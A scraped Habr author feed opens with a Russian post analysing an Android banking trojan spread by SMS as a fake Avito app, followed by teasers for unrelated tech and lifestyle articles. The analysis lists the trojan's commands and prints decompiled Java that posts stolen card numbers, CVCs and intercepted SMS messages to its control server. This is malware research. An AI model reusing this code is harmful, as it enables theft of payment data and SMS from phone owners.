Search
Write a publication
Pull to refresh
0
0
Денис Строганов @pr1k0l

User

Send message

Как я позорно деактивировал ботнет

Reading time10 min
Views191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →

Nokia Lumia в руках профессиональных фотографов

Reading time7 min
Views41K
Тема мобильной фотографии всегда вызывает массу споров, в особенности, когда речь заходит о профессиональной съемке, а точнее о возможности замены цифровой фотокамеры смартфоном с развитыми фотовозможностями.

Однако, чем сильнее разгорается пламя мирового техносражения, приводящее не только к увеличению количества мегапикселей, но и рождению оригинальных решений и алгоритмов, тем все чаще появляются профессионалы, которые используют смартфон как один из инструментов для съемки.



В этом году в разных уголках этого мира данный тезис подтвердили с Lumia наперевес три известных фотографа. В рамках этого поста мы постараемся немного рассказать о каждом проекте, а главное — поделиться с вам результатами их съемок.
Читать дальше →

Как создать легенду

Reading time13 min
Views35K
Много лет назад я участвовал в бреветах: велосипедных марафонах, где поодиночке и неспеша (но с ограничением по времени) нужно проехать от 200 до 1200 километров. Медитативное занятие, когда есть время насладиться природой, напеть все песни, рассмотреть легенду и карту маршрута… Которые удручают: часто это обычная таблица из экселя с беспорядочным оформлением, а карта факультативна. Петербуржский клуб «Балтийская звезда» продвинутее многих: участники его бреветов всегда получали карту — правда, тёмно-серую, с тёмно-серым маршрутом и КП на чёрных выносках. Не очень удобно. А поскольку я увлёкся OpenStreetMap, я почувствовал, что в силах улучшить дизайн легенд. И приступил ко второй попытке (первую, шестилетней давности, стыдно вспоминать).


Читать дальше →

Апшифтинг для программиста в Таиланде

Reading time16 min
Views115K
Судя по коментам, статья «Дауншифтинг для программиста? Камбоджа, опыт выживания и опыт жизни» вызвала интерес Хабрасообщества и захотелось поделиться своим опытом.

Наверное, многим поступок «бросить все и уехать жить в ЮВА» кажется безрассудным, и даже опасным. Среди нас, айтишников, много основательных людей, педантичных к мелочам и желающих просчитывать каждый шаг, каждую мелочь, знать все риски, планировать каждую деталь своей жизни. Я тоже являюсь таким человеком, даже сказал бы что «грешу» этим намного выше среднего. Еще до отъезда в тай, все это вызывало у меня подсознательный страх: бросить хорошую работу, оставить родных, друзей и уехать без обратного билета. Это выходило за рамки моего состояния комфорта и множилось непониманием близких родственников. Однако, вся затея оказалась совершенно не страшной, как я себе представлял изначально, и вот уже почти год мы с женой комфортно живем в тае. О различных аспектах постоянной жизни здесь, понимание которых могло бы помочь вам избавиться от подобных страхов, я и хочу написать.
Читать дальше →

Как собрать электробайк за семь дней

Reading time1 min
Views131K
Уже очень давно и часто на канале меня просили показать, как же собрать «такую штуку» самому. Особенно после публикации "На электричестве до Крыма". Поэтому, при постройке нового проекта, было принято волевое решение заснять всё на камеру и потом предоставить страждущим в цивильном виде. Волевое, потому что руки всего две, глаз тоже всего пара, и уследить за тем, куда смотрит камера, а куда уже убежала дрель в рабочем процессе очень сложно. Так же это увеличило временные затраты, особенно после. Ролики я фактически собирал даже дольше, чем сам ебайк. Ну да ладно, все тяготы уже позади, встречайте:

День первый: крафтим раму из полуконструктора

Читать дальше →

Разработан алгоритм, эффективно удаляющий из видео все «скучные» фрагменты

Reading time2 min
Views18K
Приходилось ли вам, перейдя по ссылке на интересный видеоролик на Youtube, обнаруживать, что ради нескольких секунд, где действительно происходит что-то интересное, вы только что потратили нескольк минут на созерцание совершенно бесполезного «мусора» только потому, что автор видео выложил целиком файл с видеорегистратора или смартфона? Количество видеокамер стремительно растёт, а количество людей, способных хотя бы обрезать пару лишних фрагментов, похоже, остаётся постоянным. И проблема не только в нескольких минутах убитого в интернете времени — ведь есть и более серьёзные случаи, например, десятки и сотни часов видео с камер наблюдения, которые иногда приходится просматривать, чтобы раскрыть преступление.

Учёные из университета Карнеги-Меллон разработали эффективный алгоритм выделения наиболее интересных фрагментов видео на основе машинного обучения. Новый алгоритм, названный ими «LiveLight» значительно превосходит аналоги по скорости и качеству работы. LiveLight выделяет характерные фрагменты видео и сотавляет их «словарь», а затем пытается предсказать на их основе следующий кадр. Если это удаётся с достаточной степенью точности, то это значит, что кадр не добавляет практически никакой новой информации и его можно исключить. В отличие от «механических» подходов, реагирующих на любое движение в кадре либо резкое изменение яркости, цвета или контраста, LiveLight достаточно универсален — он хорошо работает и на видео, снятым неподвижной камерой, и на любительской съемке трясущимся смартфоном.


Читать дальше →

Десктоп на ладони

Reading time4 min
Views99K
Российская компания ЗАО «Сетевые Технологии» и её отделение на Тайване «Communication Technology» Ltd. на грядущей выставке Computex 2014, проходящей с 3-го по 7-ое июня в Тайбэе, представляет три миникомпьютера на основе платформ Cedar Trail — Atom N2000, Chief River — 3rd gen Core i3/i5/i7 и Shark Bay — 4th gen Core i3/i5/i7.


Читать дальше →

Статистика продаж приложений в Windows Store

Reading time4 min
Views6.5K
Windows 8 до сих пор можно назвать молодой платформой. Люди и разработчики оценивают ее по разному. Кто-то верит в ее успех, а кто-то говорит об ее провале. У пользователя при первом знакомстве возникают два вопроса: а) где все мои приложения, которые я использовал на других платформах б) почему все те приложения, которые есть, настолько плохие.

Для того, чтобы дать ответ на эти вопросы, давайте посмотрим на статистику приложения, которое я опубликовал в Windows Store больше года назад.

outcoldplayer (предыдущее название gMusicW) — это мой домашний проект, который я пишу в свободное время. Это неофициальный клиент для Google Music. Я могу назвать его достаточно успешным проектом в Windows Store. Хотя бы потому, что одно время он стоял на первом месте в списке самых покупаемых приложений (сейчас где-то на 29 месте в USA).


Читать дальше →

Мобильные приложения для путешествий

Reading time9 min
Views94K

Сезон отпусков начнётся в ближайшие недели. Продажи всевозможных гаджетов, полезных в путешествиях, неуклонно растут. Фотоаппараты, планшеты, смартфоны, ридеры, плееры закупаются в предвкушении моря, пляжей, исторических достопримечательностей, джунглей, гор и множества других прекрасных мест на нашей планете. Но при этом многие счастливые обладатели планшетов и смартфонов упускают такой немаловажный момент, как полезные и удобные приложения, способные существенно облегчить, или украсить, или дополнить новыми впечатлениями ваш отпуск. Поэтому мы решили предложить вашему вниманию подборку ряда приложения для путешественников.
Читать дальше →

Золотая медаль на Russian AI Cup 2013 — как это все было

Reading time21 min
Views32K
Приветствую, хабр!

Напишу о том, как мне довелось поучаствовать и победить в ежегодном чемпионате по программированию искусственного интеллекта Russian AI Cup 2013 (codetroopers). Выступал я там под ником slash и занял первое место как в финале, так и в песочнице на момент подведения в ней итогов.


Читать дальше →

Разработка игры-бесконечной гонки для iOS при помощи Cocos2D-iphone

Reading time9 min
Views43K
Сегодня я хочу вам рассказать о создании игры для iOS на основе Cocos2D на примере недавно вышедшей игры «Пчелогонки» (анг. – Bee Race).
Геймплей не содержит в себе ничего сложного – это по сути бесконечный ранер, в котором нужно собирать поинты и уворачиваться от препятствий. Только вместо рыжей девочки или кладоискателя – здесь летает двухмерная пчелка.
Для заинтересовавшихся, прошу под кат (Ахтунг! Минен унд много буквирен).
Основные разделы для рассмотрения:
  1. Очень краткое введение в Cocos2D
  2. Используем Cocos2D одновременно с StoryBoard
  3. Краткое описание геймплея и структуры проекта
  4. Покупаем инструменты и что делать, если душит жаба
  5. Чем не пахнет приложение или подключаем in-app билинг
  6. Социализируем. Подключаем Game Center и создаем мультиплеерную версию на два игрока
  7. В чём промахнулся Акела
  8. Паблиш


Спойлер:

Читать дальше →

Официальное мобильное приложение Хабрахабра

Reading time2 min
Views120K
На прошлой неделе, в день рождения Хабрахабра мы намекнули, что готовим мобильные приложения для сайта. Ждали? Не сомневаемся.



Дамы и господа, леди и джентльмены! Настало время расчехлить свои смартфоны для нового приложения.
Читать дальше →

Эрон-дон-дон или на что ещё может сгодиться ваш Windows Phone

Reading time7 min
Views51K
image

Привет всем хабражителям!

Наверняка, многим в детстве нравились машинки на радиоуправлении. Да и не только в детстве: я уверена, что и в возрастной категории 30+ найдётся масса любителей лихой езды в миниатюрном масштабе. Вот и я с детства мечтала о такой машинке, однако девочкам обычно дарят не машинки, а кукол, и моя мечта оставалась невоплощённой до недавнего времени. Но теперь я выросла, и простая радиоуправляемая машинка показалась мне достаточно скучной. И в один прекрасный день мне в голову пришла идея, как себя развлечь и заодно модернизировать машинку: я решила организовать её управление со смартфона по каналу WiFi.
Читать дальше →

Ловец молний

Reading time6 min
Views135K
image Да, зима — не лучшее время для статьи о молниях. Но время близится! Сезон дождей и гроз всего через каких-то 4-5 месяцев, а работы – хоть отбавляй.

Все видели молнии? Молнии красивые, витые. Вы знаете как они действительно выглядят? Да, их удается сфотографировать, но только с одной стороны, и через раз.

А мы научились ловить каждую молнию, да ещё строить полную 3d модель каждой, даже невидимой в облаках молнии! Более того, через 15 секунд после удара в любой точке над Москвой, её координаты и трёхмерный профиль сразу же обновляется на нашем сайте!
Под катом 6 мБ трафика.
Давайте поподробнее и с начала

Откуда «мыло» в WPF и как с ним бороться

Reading time21 min
Views83K


Это руководство для WPF-разработчиков, стремящихся добиться максимально чёткой картинки в своих приложениях. Графическая система WPF до мозга костей векторная, но конечным результатом её работы по-прежнему является растр. Если не уделить этому факту должного внимания, можно столкнуться с различными сортами «мыла» — паразитными артефактами растеризации. В такой ситуации важно не терять присутствия духа, причины их возникновения вполне рациональны, а методы борьбы достаточно просты и эффективны.
Читать дальше →

Результаты единого рейтинга mobile-разработчиков 2014

Reading time3 min
Views8.7K
Привет, Хабр! Сегодня мы анонсируем результаты первого единого рейтинга разработчиков мобильных приложений. Ранжирование производилось только по агентскому сегменту — компаниям, разрабатывающим приложения на заказ.

image

Методика построения нашего рейтинга абсолютно прозрачна, и любой желающий может убедиться в правильности расчета итоговых баллов для каждой компании. Мы постарались сделать методику максимально релевантной и защищенной от накруток — в основу единого топа легли результаты участников в 5 локальных нишевых рейтингах сегмента.

Кстати, в процессе подготовки мы обнаружили довольно любопытный факт. В отличие от игроков из других digital-сегментов (веб-студий, сеошников, агенств контекстной рекламы и пр.) — значительное количество компаний, занимающихся разработкой приложений на заказ, имеют полноценную англоязычную версию сайтов и зачастую указывают ее «по умолчанию». Таким образом, российские mobile-разработчики гораздо более ориентированы на сотрудничество с западными компаниями, чем их коллеги из других сегментов рынка.

Расскажем чуть подробнее о первой десятке компаний нашего рейтинга:
Читать дальше →

Список литературы для менеджера продукта 80 уровня

Reading time4 min
Views124K
Менеджер продукта – все еще редкий зверь в российских и украинских IT компаниях. И если внутри команд, где менеджер продукта существует, его роль вопросов не вызывает (если он, конечно, занимается делом), то знакомые в других компаниях, на конференциях, друзья, от разработчиков до менеджеров проектов задают массу любопытствующих вопросов. Вопросы очень разномастные – от того, о чем собственно работа, и как устроен процесс работы над продуктом в нашей команде, до того, где поучиться, что почитать, и где вообще берут на работу продакт менеджеров.

Самый популярный вопрос «а что почитать, если я хочу заниматься продуктом» побудили меня собрать в одно целое список книг, которые очень помогли мне в разное время, от первых шагов в продуктах до работы с классной командой профессионалов, которым, как я надеюсь, со мной уютно.

Сразу хочу сказать, что все книги на английском. Часть из них можно найти на русском, но без английского на уровне чтения и прослушивания подкастов будет тяжко – на русский клевые вещи об управлении продуктами переводят медленно и нехотя. Второй момент – чтение книг из этого списка не сделает из вас менеджера продукта. Как и книжка С++ за 21 день не сделает из вас С++ разработчика. Просто уровень вхождения в окологуманитарные профессии пониже, и это иногда создает напрасные иллюзии.

Но этот список однозначно прольет свет на те области, с которыми вы не сталкивались, работая в it проектах в других должностях, заставит задуматься о вашей роли и о пользователях, ради которых вы, в конечном итоге, трудитесь.

Итак, мой список рекомендованной литературы для всех, кто хочет хочет проливать кровь, пот и слезы работать продакт менеджером или уже работает им.
Читать дальше →

Роботы-термиты реализуют проект без централизованной координации

Reading time2 min
Views82K


Группа молодых ученых, а конкретно две очаровательных девушки и один юноша из Института Виза*, сотрудничающего с Гарвардом, создали мини-роботов, повторяющих сложное поведение термитов при постройке термитников. Исходили из следующих предпосылок:

  • сооружения достаточно сложны
  • каждый участник процесса не обладает развитым интеллектом
  • весь проект не имеет генерализованной координации


В рамках исследования была смоделирована самоорганизующаяся роботизированная система, в которой поведение каждого робота укладывается в простейший набор условий и координируется с действиями других участников процесса. Проект саморегулируется на базе принципа «здесь и сейчас» за счет взаимной подстройки участников процесса в рамках определённых правил поведения. Словом, роботы сами «решают» какой блок куда класть.

Читать дальше →

За что конкретно я ненавижу некоторых отдельно взятых маркетологов — или как айтишник по магазинам ходил

Reading time5 min
Views617K
Знакомьтесь, это обычный «литровый» пакет молока:

image

  • Проверка на внимательность: там 900 грамм. Рядом несколько по 950. Но пакет может быть воспринят как литровый.
  • Проверка на знание физики. Рядом лежит похожий кефир. Объём измеряется в миллилитрах, масса — в граммах. Плотность кефира трагически выше плотности воды. То есть 900 грамм кефира 3,2% жирности — это примерно 874,5 миллилитров.

Второй пациент:



25 лет гарантии. Круто, правда? Есть одна проблема. Надо сохранять чек. Проверка, опять же, на знание физики. Чек у них печатается на обычной кассовой термоленте (я проверил на месте). У меня в офисе лежит много чеков. Мы их ксерокопируем, потому что через год-два они полностью выцветают. Самый старый чек, который видел коллега, держался 3 года в папке в архиве. UPD: смотрите самый низ топика, Икея ответила.

В общем, мы немного прогулялись по магазинам в режиме отладки. Извините за некоторый оффтопик по отношению к текущему хабу, но понимание некоторых вещей требует базовых технических знаний и мышления.

Осторожно, трафик: под катом много находок с фотографиями.
Читать дальше →

Распространение обновления Nokia Black для смартфонов Lumia уже началось

Reading time3 min
Views35K
Привет, Хабр!

Буквально на днях стартовало распространение обновления Lumia Black для смартфонов Nokia Lumia на базе Windows Phone 8. Апдейт включил в себя ряд новых «фишек» и функций, улучшения по части обработки фотографий, свежие приложения и новшества от Microsoft и Nokia.



В этом посте мы решили подробнее разобрать список нововведений в этой версии прошивки, так что добро пожаловать под кат.
Читать дальше →

Information

Rating
Does not participate
Location
Волгоград, Волгоградская обл., Россия
Date of birth
Registered
Activity